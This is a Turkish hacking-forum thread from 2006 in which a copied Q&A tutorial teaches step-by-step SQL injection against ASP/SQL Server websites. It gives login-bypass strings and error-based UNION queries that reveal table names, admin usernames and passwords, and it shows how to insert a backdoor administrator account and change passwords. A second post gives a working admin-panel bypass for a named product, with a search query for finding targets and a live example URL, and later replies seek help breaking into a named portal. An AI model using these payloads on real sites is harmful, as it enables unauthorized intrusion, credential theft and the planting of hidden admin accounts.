İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

Sql Injeksion Açıkları(1.si 2.si 3.sü) ve programlarıyla,herşey burda

13-08-2006 20:09
#1
Üyelik tarihi:
02/2006
Mesajlar:
31
Teşekkür (Etti):
0
Teşekkür (Aldı):
1
Konular:
8
Ticaret:
(0) %
Soru ve Cevaplarla SQL Inj. / 1

S1: Sql nedir? Niçin kullanılır?

C1: Sql bir veritabanıdır ve kullanıcıyla etkileşimi sağlayarak, istenilen bilgileri sorgulama türüne göre kullanıcıya sunar. Veritabanlarında tablolar saklanır ve bu tablolarda hakkında bilgi tutulmak istenen şeyler (üye,öğrenci, personel, ürün vs. kayıtları) bulunur. En çok kullanılan veritabanları Microsoft SQL ve Unix MySQL’dir.



S2: Sql’de sorgulama nasıl yapılır?

C2: Normalde veritabanının (sql veya mysql) kendi komutlarını kullanarak bir sorgulama yapabilirsiniz. Ancak SQL ya da Mysql kullanan bir siteye doğrudan sorgulama yapamazsınız. Sorgulama işi, bizim web sitesinde gördüğümüz sayfaları oluşturan asp ya da php kodları tarafından yapılır ve bu kodlar webmaster tarafından yazılır. Bir alışveriş sitesinden mesela ASUS marka notebook’ları göstermesini istediğimizde aslında bir sorgulama yapmış oluruz, ancak bu sorgulamayı bizim yerimize asp ya da php kodları yapar.



S3: Sql enjeksiyonu nedir?

C3: Sql enjeksiyonu, veritabanlarının kullanıldığı sitelere kod açıklarından faydalanarak yapılan komut girişleridir.Özellikle Asp ve php ile yapılmış ve kötü olarak tasarlanmış (kod açısından) sitelerde sıkça sql enjeksiyonu açığına rastlanır.



S4: Her asp ya da php sitesinde bu açık varmıdır? Yoksa nasıl bulacağım bu açığı?

C4: Hayır, her asp ya da php sitesinde bu açık bulunmaz. Çünkü bu açığın temeli webmaster’un kodlarda yaptığı bazı hatalara dayanır.Her webmaster da bu açığa düşmez.Bu açığın bir sitede olup olmadığını öğrenmek için mesela asp ile yapılmış bir sitenin kullanıcı girişinin olduğu herhangi bir alana (kullanıcı ismi, arama alanı vs) ya da URL adresi kısmına ’ (tek tırnak) yazmanız yeterli. Bu sayede SQL’i hata vermeye zorlarsınız. Eğer şuna benzer bir ODBC hatası verirse, o siteye SQL enjeksiyonu yapılabilir:



Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’urunler’ to a column of data type int.

/index.asp, line 11



S5: SQL’i başka nasıl hata vermeye zorlarım ?

C5: Şunlardan birini yazarak:

’ or 1=1--

" or 1=1--

’ or ’a’=’a

or 1=1--

’) or (’a’=’a

" or "a"="a



S6: Peki bunları niçin yapıyoruz ve bunlar ne anlama geliyor?

C6: Bunları SQL’in normal kullanıcıya sunmadığı bilgileri önümüze sermesi için yapıyoruz. Bu sayede SQL hata veriyor ve biz de bu hatadaki bilgiler yardımıyla sisteme kod enjekte ediyoruz. Mesela ’ or 1=1-- şeklindeki bir ifadeyi kullanıcı girişinin olduğu herhangi bir alana yazdığımız zaman, SQL’e diyoruz ki: Giriş şartı ya hiçbirşeydir ya da 1=1 olduğu zaman geçerlidir. 1 her zaman 1’e eşit olduğuna göre, sql bizim feykimiz yemiş oluyor, yukarıdaki gibi bir hata veriyor. Bu hata sayesinde biz de adını bilmediğimiz tablonun ne olduğunu öğreniyor ve ona göre yeni komut vererek amacımıza ulaşıyoruz.



S7: Olay biraz karıştı. Bir örnekle açıklasak şunu?

C7: Ok, SQL’de normalde bir sorgulama şu şekilde yapılır. MEsela bizim ürünler diye bir tablomuz olsun ve bu tabloda web sitesinde sattığımız kitaplarımız, telefonlarımız vb gibi ürünlerimiz olsun . Normalde Sql’deki "urunler" adlı bu tablodan "kitaplar" başlıklı tablonun hepsini seçmek istediğimizde şöyle çağırırız:



SELECT * FROM urunler WHERE urunID=’kitaplar’



Ancak biz bunun yerine şu ifadeyi kullanalım:



SELECT * FROM urunler WHERE urunID=’’ or 1=1--’



Şimdi en sağa dikkat edin, buraya ’ or 1=1--’ kod enjeksiyonu yaptık ve sql’e "urunler tablosundan bana urunID’si boş olan (en baştaki tırnaklara dikkat edin) ya da 1=1 eşitliğinin sağlandığı tabloyu getir" dedik. Böylece adını hiç bilmediğimiz tabloların ismini öğrenmiş olacağız.


Soru ve Cevaplarla SQL Inj. / 2

S8:Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ hatası veren her or açığını yer anl***** gelirmi ?bu hatadan çok karşılaştığım için or açığı yemediği için sordum. yoksa başka sql kod denememmi lazım

C8: Bu hata o sistemin potansiyel olarak SQL enjeksiyonuna maruz kaldığını gösterir. Ancak tam olarak istediğimiz hata mesajlarını alabilmek için ilk bölümde anlatılan diğer ifadeleri ( " or "a"="a gibi) denemek gerekir.



S9: Adım adım bir sql enjeksiyonu nasıl yapılır?

C9: Önce SQL açığı olan bir siteyi, anlatılan ifadeleri ilgili yerlere yazarak buluyoruz. Sonra sorgu için UNION isimli bir operatör kullanacağız. Bu operatörün görevi birden fazla sorguyu cevaplamak. Yani biz SQL’e "şu ve şu kritere göre bize sonuçları getir" diyeceğiz. Aşağıdaki örneği gerçek bir web sitesinde yaptım, ancak domain ismini xxx ile değiştirdim.


http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

S10: Biraz hızlı gidiyoruz galiba. Bu “INFORMATION_SCHEMA.TABLES” , "TOP 1 TABLE_NAME " ne? Niye kullandık buları? (sizin adınıza güzel sorular soruyorum di mi? )

C10: INFORMATION_SCHEMA.TABLES ismini mecburen kullandık. Çünkü veritabanında bir sürü tablo var ve biz bunların hiçbirinin adını bilmiyoruz. Bunun için de öncelikle genel bir isim kullanmak zorunda kaldık. INFORMATION_SCHEMA.TABLES tablosu, veritabanındaki tablolar tablosu gibi birşey, yani tüm tabloların bilgisini saklıyor. “TOP 1 TABLE_NAME” ise adından da anlaşılıyor: en üstteki tablo. Bunu da dediğim gibi tablo ismini bilmediğimizden kullandık, ama biz böyle yazmakla sisteme bir feyk atıyor ve en üstteki tabloyu sorgulatmaya çalışıyoruz.

UNION’ı da sistemi hata vermeye zorlaması için kullandık. Sisteme dedik ki,"catid=3" olan tabloyla genel tablodaki en üstte olan tabloyu (SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--) birleştir ve getir dedik, ama burada yine bir feyk attık, çünkü biri integer (3), diğeri string. Sonuçta sistem bize "integer ve string sonuçlarını birleştiremediği için" şöyle bir hata verecek.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’adams’ to a column of data type int.
/index.asp, line 3

Bingo!!! İlk hatamızı aldık...



S11: Bu hata ne işimize yarayacak?

C11: Çok işimize yarayaak Çünkü bu hatayla biz en üstteki tablonun (TOP 1 TABLE_NAME) ismini öğrendik:adams.





S12:Geri kalan tabloları nasıl öğreneceğiz. Yine aynı metodu mu kullanacağız?

C12: Aynı metodu da kullanabiliriz, ama işimiz biraz daha uzar. Bu nedenle neyi aramak istiyorsak ona yoğunlaşacağız. Mesela hedefimiz, kendimizi sitenin admin grubuna katmak olsun. O zaman içinde admins, users ya da login gibi kelimeler geçen tabloyu aratacağız. Bunun için de SQL’e "tablo adında mesela "admin" gibi (LIKE operatörü) kelimeler geçenleri bana göster" diyelim:

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%admin%’--

SQL bize şimdi istediğimizi verecek


Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’admins’ to a column of data type int.
/index.asp, line 3

Varan 2... Artık admin tablosu diye bir tablo var elimizde, işimiz şimdi çok daha kolay. O zaman devam edelim. Şimdiki hedefimiz "admins" isimli tablodaki kolonlara ulaşmak. Aynı metodu kullacağız yine...

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’--

Burada da INFORMATION_SCHEMA.TABLES yerine INFORMATION_SCHEMA.COLUMNS ifadesini kullandık. Yani yine feyk attık sql’e, o da bu feykimizi yedi:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logonID’ to a column of data type int.
/index.asp, line 3

Varan 3 ... Artık "admins" isimli tablodaki ilk sütunun ismini biliyoruz:“logonID” . Devam edelim ve diğer sütunun ismine bakalım. NOT IN operatörünün kullanımına dikkat edin:

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)--



Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’logon’ to a column of data type int.
/index.asp, line 3

Diğer sütunun da ismini öğrendik: "logon" diye bir tablo. Artık son aşamaya yaklaşıyoruz, sıra şifreler ve detaylarda:


http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’,’logon’,’password’,details’)--



Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 3

Şimdi de kullanıcı ismi ve şifresi için gereken komutlar. Önce admins tablosundan, ilk sütuna (logon)a bakalım:

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 logon FROM admins--




Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’johny’ to a column of data type int.
/index.asp, line 5

“johny” isimli yönetici hakkına sahip bir kullanıcı bulduk, şifresini de bulmak isteyelim:

http://www.xxx.com/index.asp?catid=3 UNION SELECT TOP 1 password FROM admins where logon=’ johny ’--

veeee şifre geliyor:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’aeE2DbU’ to a column of data type int.
/index.asp, line 3


Artık elimizde kullanıcı ismi “johny”, şifresi “aeE2DbU” olan bir kullanıcının bilgileri var. Rahatlıkla sitede istediğimizi yapabiliriz, ama bu kullanıcının şifresini değiştirme ihtimaline karşı, veritabanına yeni bir kullanıcı ekleyelim.

http://www.xxx.com/index.asp?catid=3; INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’enigma’,’:P’,’NA’)--


Soru ve Cevaplarla SQL Inj. / 3



S1- " or "a"="a gibi şeyleri nereye yazacam?

C1- Form alanı olan, sorgunun yapıldığı herhangi bir yere. Mesela kullanıcı ismine, şifreye, ürün arama kısmına vs.




S2 - UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- bunu nereye yazıcam?

C2 – Adres satırına... Verilen örneklerde olduğu gibi





S3- üstatlar bu hata ne anlama gelir? enjeksiyon edilmiş hangi satır olabilir? İşin içinden çıkamadım yardımcı olursanız sevinirim...

Microsoft OLE DB Provider for SQL Server error ’80040e14’

Unclosed quotation mark before the character string ’ ORDER BY rezkirin’.

/include/legercep_i.asp, line 17


C3- Aslında gayet açık, tablonun ismi ORDER BY. Ancak bu bir alışveriş sitesine ait olduğundan bu soruda detaya inmiyorum. Lütfen misyon dışında bildiklerinizi kullanmayın.





S4- Bu kodlar sadece asp sitelerinde mi çalışır yoksa php lerde de yer mi?

C4- SQL enjeksiyonu genel bir isimdir, bu nedenle sadece asp sitelerinde değil, php sitelerinde de çalışır.






S5 – O kadar uğraşmama rağmen SQL’e hata verdiremiyorum. Sorun ne?

C5 – Buradaki en büyük sıkıntılardan biri
http://xxx.com/index.asp?id=5 UNION SELECT TOP 1 password FROM admin_login where login_name=’enigma’--
tekniğinin her zaman işe yaramamasıdır. Hatırlayın, yukarıdaki örnekte biz stringi (yani düz yazıyı) nümerik değere dönüştürmeye çalışmış ve SQL’i hata vermeye zorlamıştık. Ama eğer şifre 1234 gibi nümerik bir değere sahipse ne olacak? O zaman yukarıdaki teknik işe yaramaz ve “sayfa bulunamadı” gibi bir hata mesajı ya da sayfası ile karşılaşırız.






S6- Peki o zaman bu sorunu nasıl aşacağız?

C6- SQL’i hata vermeye zorlamak için sadece rakam ya da string kullanmak yerine ikisinin karışımını kullanacağız ve hata vermesini garantileyeceğiz. Mesela

http://xxx.com/index.asp?id=5 UNION SELECT TOP 1 convert(int, password%2b’%20************’) FROM admin_login where login_name=’enigma’--

Burada yaptığımız şey istediğimiz tekstin sonuna + işareti (ASCII kod karşılığı 0x2b dir) ile boşluk(%20) ve ************ kelimesini ekledik. Böylece şifre 1234 olsa bile, biz 1234 ************ olarak sisteme gönderme yaptık ve “convert” fonksiyonunu kullanarak 1234 ************ ifadesini nümerik bir değere dönüştürmesini istedik. Böylece SQL’in şu tarz bir hata vermesini sağladık:

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’1234 ************’ to a column of data type int.
/index.asp, line 5

Böylece artık Enigma kullanıcı ismi ve 1234 şifresiyle sisteme girebiliriz.





S7- Daha önce verdiğim bir şifreyi ya da kullanıcı ismini değiştirebilirmiyim?

C7- Evet bu mümkün. Mesela şifremi değiştirmek için

http://xxx.com/index.asp?id=5; UPDATE ’adminlogin’ SET ’password’ = ’yenisifre’ WHERE loginname=’enigma’--

şeklinde bir komut girebilirim.





S8 - Acaba tırnak içerisindeki yerlerin hep aynı olma olasılığı varmıdır?Çünki her deneyişimde hepsi aynı çıkıyor ve hep aynı sütündaki hatayı gösteriyor.

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/shoes/index.asp, line 105


C8- Burada kolon sayısında bir uyuşmazlık var. Bu nedenle de hep aynı hata mesajı geliyor. Bu olayı inceleyelim. Mesela senin SQL’e gönderdiğin sorgu şöyle olsun:

http://www.xxx.com/index.asp?catid=3 UNION ALL SELECT 3 FROM SysObjects Where “n”

Senin yaptığın bu sorguya karşılık yukarıdaki hata geliyorsa, o zaman şunlardan birini dene.

http://www.xxx.com/index.asp?catid=3 UNION ALL SELECT 3,3 FROM SysObjects Where “n”
http://www.xxx.com/index.asp?catid=3 UNION ALL SELECT 3,3,3 FROM SysObjects Where “n”
http://www.xxx.com/index.asp?catid=3 UNION ALL SELECT 3,3,3,3 FROM SysObjects Where “n”


Ondan Sonra İşte Md5 Leri Kırmaya GeLdi
veriLdiyse özür diLerim arkadaşLar...

alıntıdır...
Kullanıcı İmzası
KonyaLı SaygıLar...
evLendim artık....

13-08-2006 20:11
#2
Üyelik tarihi:
02/2006
Mesajlar:
31
Teşekkür (Etti):
0
Teşekkür (Aldı):
1
Konular:
8
Ticaret:
(0) %
Accelerated E Solutions sql injection

çok basit bir sql saldirisiyla admin paneline ulasabilirsiniz.

Username =admin
Password= ' or ''='

Googlede arama yapmak için :"Accelerated E Solutions"

ornek site: http://demo.lowerpaymentnow.com/admin.asp
Kullanıcı İmzası
KonyaLı SaygıLar...
evLendim artık....
30-08-2006 08:35
#4
ifIwereyou - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2006
Nereden:
Denizli
Mesajlar:
205
Teşekkür (Etti):
0
Teşekkür (Aldı):
10
Konular:
31
Ticaret:
(0) %
çok yararlı bilgiler saol.bazılarını biliodum
01-04-2007 11:54
#5
Üyelik tarihi:
09/2006
Mesajlar:
4
Teşekkür (Etti):
1
Teşekkür (Aldı):
0
Konular:
0
Ticaret:
(0) %
selam ya arkadaşım ben denedim fakat böle bişi yok hatada ne yaptıysam ana sayfa index.asp olmadıgından dolayı böle bir hayat yapıyor bu siteye nasıl index atarım yardım edermiisn sen hataya bak öle söle buyur hata kodu



Microsoft VBScript runtime error '800a000d'
Type mismatch: 'CInt' /bpi.asp, line 124 işte hata kodu arkadaşım buna bir yöntem bakalım bula bilirmiisn ve bu bir portal portalın isminide verim bir bak bakalım buna benzer portallar nasıl index atabilirim bu zor bişiye benziyor ama aklıma koydum bu konuda yardım edermisiniz portalın ismi Erkportal dır saygılar
01-04-2007 12:52
#6
Anonymous - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2006
Nereden:
İstanbul Geceleri
Mesajlar:
849
Teşekkür (Etti):
2
Teşekkür (Aldı):
631
Konular:
199
Ticaret:
(0) %
Alıntı YAzdığın İçin Sevindim Bu Arada Arkadaşlar Bu Açık Çoktan Görmemiş Arkadaşlar Tarafından Yendi Boşuna Uğraşmayın Derim Ben Uğraşıyorsanızda kendinizi Gelişştirmek İçin Uğraşın ..
01-04-2007 13:53
#7
Üyelik tarihi:
09/2006
Mesajlar:
4
Teşekkür (Etti):
1
Teşekkür (Aldı):
0
Konular:
0
Ticaret:
(0) %
sanırım kardeş bu soruma bir cevap degil
05-08-2008 20:23
#8
Üyelik tarihi:
07/2008
Mesajlar:
2
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
0
Ticaret:
(0) %
emeğine saglıkk çok güzell bilgi yogunluguu war teşekkürler ya bişi sorcamm arkadaşlar 10 boardlık ekran kartı nasıll tanıtılırr yardımcı olursanızz sevinirim
06-08-2008 22:44
#9
Aslan1981 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2007
Mesajlar:
630
Teşekkür (Etti):
0
Teşekkür (Aldı):
33
Konular:
41
Ticaret:
(0) %
Emege saygi..........
Kullanıcı İmzası
The HellHacker

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı